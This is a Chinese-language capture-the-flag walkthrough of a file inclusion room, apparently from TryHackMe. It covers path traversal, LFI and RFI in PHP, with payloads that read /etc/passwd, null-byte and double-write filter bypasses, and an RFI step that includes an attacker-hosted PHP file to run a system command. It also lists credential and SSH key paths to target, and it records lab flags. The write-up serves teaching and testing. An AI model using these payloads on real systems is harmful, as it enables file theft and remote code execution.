什么是文件包含?

本室旨在为您提供利用文件包含漏洞的基本知识,包括本地文件包含 (LFI)远程文件包含 (RFI)目录遍历。此外,我们将讨论这些漏洞被发现后的风险以及所需的补救措施

在某些情况下,Web 应用程序被编写为通过参数请求访问给定系统上的文件,包括图像、静态文本等。参数是附加到 URL 的查询参数字符串,可用于检索数据或根据用户输入执行操作。 下图解释并分解了 URL 的基本部分

例如,参数用于 Google 搜索,其中 GET 请求将用户输入传递到搜索引擎。 https://www.google.com/search?q=TryHackMe

让我们讨论一个用户请求从网络服务器访问文件的场景。 首先,用户向网络服务器发送一个HTTP请求,其中包含要显示的文件。例如,如果用户想要在 Web 应用程序中访问和显示他们的 CV,请求可能如下所示 http://webapp.thm/get.php?file=userCV.pdf ,其中file是参数, userCV.pdf是访问所需的文件。

为什么会发生文件包含漏洞?
文件包含漏洞在 Web 应用程序的各种编程语言 中很常见 ,例如 编写和实现不佳的 PHP。这些漏洞的主要问题是输入验证,其中用户输入未经过清理或验证,并且用户控制它们。当输入未经验证时,用户可以将任何输入传递给函数,从而导致漏洞

文件包含的风险是什么?
这取决于!如果攻击者可以利用文件包含漏洞来读取敏感数据。在这种情况下,成功的攻击会导致敏感数据泄露,包括与 Web 应用程序相关的代码和文件、后端系统的凭据。此外,如果攻击者可以通过某种方式写入服务器的 /tmp目录,那么就有可能获得远程命令执行 RCE。但是,如果在无法访问敏感数据且无法写入服务器的情况下发现文件包含漏洞,则不会有效

路径遍历

Web 安全漏洞也称为 目录遍历,允许攻击者读取操作系统资源,例如运行应用程序的服务器上的本地文件。攻击者通过操纵和滥用 Web 应用程序的 URL 来定位和访问存储在应用程序根目录之外的文件或目录,从而利用此漏洞

当用户的输入被传递给PHP中的 file_get_contents 等函数时,就会出现路径 遍历漏洞。重要的是要注意,该函数不是导致该漏洞的主要因素。通常输入验证或过滤不当是导致漏洞的原因。 在PHP中,您可以使用 file_get_contents 来读取文件的内容

下图显示了 Web 应用程序如何将文件存储在/var/www/app中,理想的路径是用户从定义的路径/var/www/app/CVs请求 userCV.pdf 的内容

我们可以通过添加有效负载来测试 URL 参数,以查看 Web 应用程序的行为方式。路径遍历攻击,也称为点-点-斜线攻击,利用双点../目录向上移动一级。 如果攻击者找到入口点,在本例中为get.php?file= ,那么攻击者可能会发送如下内容, http://webapp.thm/get.php?file=../../.. /../etc/passwd

假设没有输入验证,而不是访问位于/var/www/app/CVs位置的 PDF 文件,Web 应用程序从其他目录检索文件,在本例中为/etc/passwd。每个..条目移动一个目录,直到它到达根目录/。然后它将目录更改为/etc,并从那里读取passwd文件

结果,Web 应用程序将文件的内容发回给用户

同样,如果 Web 应用程序在 Windows 服务器上运行,则攻击者需要提供 Windows 路径。例如,如果攻击者想要读取位于c:\boot.ini中的boot.ini文件,那么攻击者可以根据目标操作系统版本尝试以下操作:http://webapp.thm/get.php?file=../../../../boot.inihttp://webapp.thm/get.php?file=../../../../windows/win.ini

同样的概念适用于Linux操作系统,我们向上爬目录直到到达根目录,通常是c:\
有时,开发人员会添加过滤器以限制对某些文件或目录的访问。以下是您在测试时可以使用的一些常见 操作系统文件

位置 描述
/etc/issue 包含要在登录提示之前打印的消息或系统标识
/etc/profile 控制系统范围的默认变量,例如 导出变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息
/proc/version 指定Linux内核的版本
/etc/passwd 拥有有权访问系统的所有注册用户
/etc/shadow 包含有关系统用户密码的信息
/root/.bash_history 包含root用户的历史命令
/var/log/dmessage 包含全局系统消息,包括系统启动期间记录的消息
/var/mail/root root用户的所有电子邮件
/root/.ssh/id_rsa 服务器上根用户或任何已知有效用户的 SSH 私钥
/var/log/apache2/access.log Apache 网络服务器的访问请求日志
C:\boot.ini 包含具有 BIOS 固件的计算机的引导选项

本地文件包含 - LFI(Local File Inclusion)

针对 Web 应用程序的 LFI 攻击通常是由于开发人员缺乏安全意识。在PHP中,使用includerequireinclude_oncerequire_once等函数通常会导致易受攻击的 Web 应用程序。在这个房间里,我们将选择PHP,但值得注意的是,在使用其他语言(例如 ASP、JSP 甚至 Node.js 应用程序)时也会出现 LFI 漏洞。LFI 漏洞利用遵循与路径遍历相同的概念

任务1

1.假设web应用提供了两种语言,用户可以在 ENCN之间进行选择

<?PHP 
	include($_GET["lang"]);
?>

上面的PHP代码通过 URL 参数lang使用GET请求来包含页面文件。 可以通过发送以下 HTTP 请求来完成调用,如下所示: http://webapp.thm/index.php?lang=EN.php 加载英文页面http://webapp.thm/index.php?lang=CN.php 加载中文页面,其中EN.phpCN.php文件存在于同一目录中

理论上,如果没有任何输入验证,我们可以通过上面的代码访问和显示服务器上的任何可读文件。假设我们要读取/etc/passwd文件,其中包含有关Linux操作系统用户的敏感信息,我们可以尝试以下操作: http://webapp.thm/get.php?file=/etc/passwd

在这种情况下,它之所以有效,是因为包含函数中没有指定目录 ,也没有输入验证

2.接下来,在下面的代码中,开发人员决定指定函数内部的目录

<?PHP 
	include("languages/". $_GET['lang']); 
?>

在上面的代码中,开发者决定使用 include函数 只通过 lang参数 调用 languages目录下的PHP 页面

如果没有输入验证,攻击者可以通过将 lang 输入替换为其他操作系统敏感文件(例如 /etc/passwd )来操纵 URL

同样,有效负载看起来类似于 路径遍历,但包含函数允许我们将任何调用的文件包含到当前页面中。以下将是利用:
http://webapp.thm/index.php?lang=../../../../etc/passwd

任务2

1. 前两种情况,我们检查了web app的代码,然后就知道怎么利用了。但是,在这种情况下,我们正在进行黑盒测试,我们没有源代码。在这种情况下,错误对于理解数据如何传递和处理到 Web 应用程序中非常重要

在这种情况下,我们有以下入口点: http://webapp.thm/index.php?lang=EN。如果我们输入一个无效的输入,比如THM,我们会得到如下错误

Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

该错误消息披露了重要信息。通过输入 THM 作为输入,一条错误消息显示了 include 函数的样子: include(languages/THM.php);

如果您仔细查看该目录,我们可以看出函数包含语言目录中的文件是 在条目末尾添加.php.因此,有效输入如下: index.php?lang=EN , 其中文件EN位于给定的languages目录中并命名为 EN.php

此外,错误消息还披露了关于完整 Web 应用程序目录路径的另一条重要信息,即 /var/www/html/THM-4/

要利用这一点,我们需要使用../技巧,如目录遍历部分所述,以获取当前文件夹。让我们尝试以下操作:
http://webapp.thm/index.php?lang=../../../../etc/passwd

请注意,我们使用 4个 ../因为我们知道路径有四个级别/var/www/html/THM-4。但是我们仍然收到以下错误:

Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

似乎我们可以移出PHP目录,但include函数仍然读取最后带有.php的输入!这告诉我们开发人员指定了要传递给 include 函数的文件类型。为了绕过这种情况,我们可以使用 NULL BYTE,即%00

使用空字节是一种注入技术,其中 URL 编码表示形式(例如十六进制的%000x00)与用户提供的数据一起终止字符串。您可以将其视为试图欺骗 Web 应用程序忽略 Null Byte 之后的任何内容

通过在有效负载末尾添加空字节,我们告诉 include 函数忽略空字节之后的任何内容,如下所示:
include("languages/../../../../../etc/passwd%00").".php"); 相当于 → include("languages/../../../../../etc/passwd");

注意:%00技巧已修复,不适用于PHP 5.3.4及更高版本。

2. 在这个部分,开发者决定过滤关键字以避免泄露敏感信息!正在过滤/etc/passwd文件。有两种可能的方法绕过过滤器。

首先,通过在过滤关键字 / 末尾使用 NullByte %00.. 当前目录技巧,该漏洞类似于http://webapp.thm/index.php?lang=/etc/passwd/。我们也可以使用http://webapp.thm/index.php?lang=/etc/passwd%00

更清楚地说,如果我们使用cd ..在文件系统中尝试这个概念 , 它会让你后退一步;但是,如果您执行 cd ., 它停留在当前目录。 类似地,如果我们尝试 /etc/passwd/.. , 结果是 /etc/ 而那是 因为我们将一个移到了根目录。 现在,如果我们尝试 /etc/passwd/., 结果将是 /etc/passwd因为点指的是当前目录。

3、 接下来,在以下场景中,开发者开始使用输入验证,通过过滤一些关键字。
让我们测试一下并检查错误信息!http://webapp.thm/index.php?lang=../../../../etc/passwd
我们收到以下信息:

Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

如果我们检查include(languages/etc/passwd)部分中的警告消息 ,我们知道 Web 应用程序将 ../ 替换 为 空字符串。我们可以使用一些技术来绕过它

首先,我们可以发送以下有效载荷来绕过它: ....//....//....//....//....//etc/passwd

为什么这样做?

这是有效的,因为PHP过滤器仅匹配并替换它找到的第一个子集字符串../并且不执行另一遍,留下下图所示的内容

4. 最后,我们将讨论开发人员强制包含从定义的目录读取的情况!例如,如果 Web 应用程序要求提供必须包含目录的输入,例如: http://webapp.thm/index.php?lang=languages/EN.php 那么,要利用它,我们需要包含有效负载中的目录,如下所示:?lang=languages/../../../../../etc/passwd

当然还有更多的绕过方法,可见其他文章DVWA-File Inclusion(文件包含)

远程文件包含 - RFI(Remote File Inclusion)

远程文件包含 (RFI) 是一种将远程文件包含到易受攻击的应用程序中的技术。与 LFI 一样,RFI 发生在不正确地清理用户输入时,允许攻击者将外部 URL 注入include函数。RFI 的一项要求是allow_url_fopen选项需要打开。

RFI 的风险高于 LFI,因为 RFI 漏洞允许攻击者在服务器上获得远程命令执行 (RCE)。成功的 RFI 攻击的其他后果包括:

  • 敏感信息泄露
  • 跨站请求脚本(XSS)
  • 拒绝服务攻击(DOS)

外部服务器必须与应用程序服务器通信才能成功进行 RFI 攻击,攻击者在其服务器上托管恶意文件。然后通过HTTP请求将恶意文件注入到include函数中,恶意文件的内容在易受攻击的应用服务器上执行

RFI步骤

下图是一个成功的RFI攻击的步骤示例!假设攻击者在他们自己的服务器http://attacker.thm/cmd.txt上托管了一个PHP文件,其中cmd.txt包含打印消息 Hello THM

<?PHP echo "Hello THM"; ?>

首先,攻击者注入恶意URL,指向攻击者的服务器,如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt. 如果没有输入验证,则恶意 URL 会传递到 include 函数中。接下来,Web 应用程序服务器将向恶意服务器发送GET请求以获取文件。结果,Web 应用程序将远程文件包含到 include 函数中,以在页面内执行PHP文件并将执行内容发送给攻击者。在我们的例子中,某处的当前页面必须显示Hello THM消息

防御建议

作为开发人员,了解 Web 应用程序漏洞、发现漏洞的方法以及预防方法非常重要。为了防止文件包含漏洞,一些常见的建议包括:

  1. 将系统和服务(包括 Web 应用程序框架)更新为最新版本
  2. 关闭PHP错误以避免泄露应用程序的路径和其他可能泄露的信息
  3. Web 应用程序防火墙 (WAF) 是帮助减轻 Web 应用程序攻击的不错选择
  4. 如果您的 Web 应用程序不需要它们,请禁用一些会导致文件包含漏洞的PHP功能,例如allow_url_fopen=on 和allow_url_include`
  5. 仔细分析 Web 应用程序,只允许需要的协议和PHP包装器
  6. 永远不要相信用户输入,并确保针对文件包含实施适当的输入验证
  7. 对文件名和位置实施白名单以及黑名单

靶场通关方法

Lab #1

payload:lab1.php?file=/etc/passwd

Lab #2

文件包含(File Inclusion)-小白菜博客
通过报错信息得到为四层目录
payload:lab2.php?file=../../../../etc/passwd

Lab #3

文件包含(File Inclusion)-小白菜博客
通过报错信息,我们在四成目录,并且后缀名加上了.php
使用%00阶段,payload:lab3.php?file=../../../../etc/passwd%00

Lab #4

文件包含(File Inclusion)-小白菜博客
文件包含(File Inclusion)-小白菜博客
可以猜测到/etc/passwd被拦截,可以使用..目录结果绕过
payload:lab4.php?file=/etc/passwd/.

Lab #5

文件包含(File Inclusion)-小白菜博客
发现输入的../../../../被过滤了,使用双写绕过
payload:lab5.php?file=....//....//....//....//etc/passwd

Lab #6

文件包含(File Inclusion)-小白菜博客
文件包含(File Inclusion)-小白菜博客
payload:lab6.php?file=THM-profile/../../../../etc/passwd

接下来是最后结束的挑战关卡

Challenge #1

文件包含(File Inclusion)-小白菜博客
使用curl发送payload

curl 'http://10.10.230.61/challenges/chall1.php/' -H "Content-Type: application/x-www-form-urlencoded" -d "file=/etc/flag1" > 1.html

-H使用POST表单提交数据
文件包含(File Inclusion)-小白菜博客
成功获取flag:F1x3d-iNpu7-f0rrn

Challenge #2

文件包含(File Inclusion)-小白菜博客
刷新后发现我们的用户是Guest,应该是请求头Cookie的作用,调试工具查看
文件包含(File Inclusion)-小白菜博客
使用curl -v查看
文件包含(File Inclusion)-小白菜博客
发现有一个有用的THMpath
THM值改为admin,path更改为/etc/flag2

curl http://10.10.230.61/challenges/chall2.php -H "Cookie: THM=admin,path=/etc/flag2" -v > 2.html

文件包含(File Inclusion)-小白菜博客
打开2.html查看信息,发现报错
文件包含(File Inclusion)-小白菜博客
文件后缀名加入了.php,需要使用%00截断,由于这里使用shell curl使用%00会出现问题,这里我使用HackBar进行的操作
payload:Cookie: THM=admin,path=../../../../../../etc/flag2%00

Challenge #3

文件包含(File Inclusion)-小白菜博客
双写绕过失败,使用POST方法进行提交
文件包含(File Inclusion)-小白菜博客
成功绕过
payload:file=/etc/flag3%00

远程文件包含执行hostname命令查看主机名

在提供攻击机创建php文件,例如test.txt,内容为:

<?php system('hostname') ?>

然后再当前目录执行命令开启Web 服务

python -m http.server

注意查看端口

/playground.php网址的表单中输入提供攻击机的IP和端口和文件的url地址
payload:http://攻击机IP:端口/test.txt

文件包含(File Inclusion)-小白菜博客
获取主机名成功lfi-vm-thm-f8c5b1a78692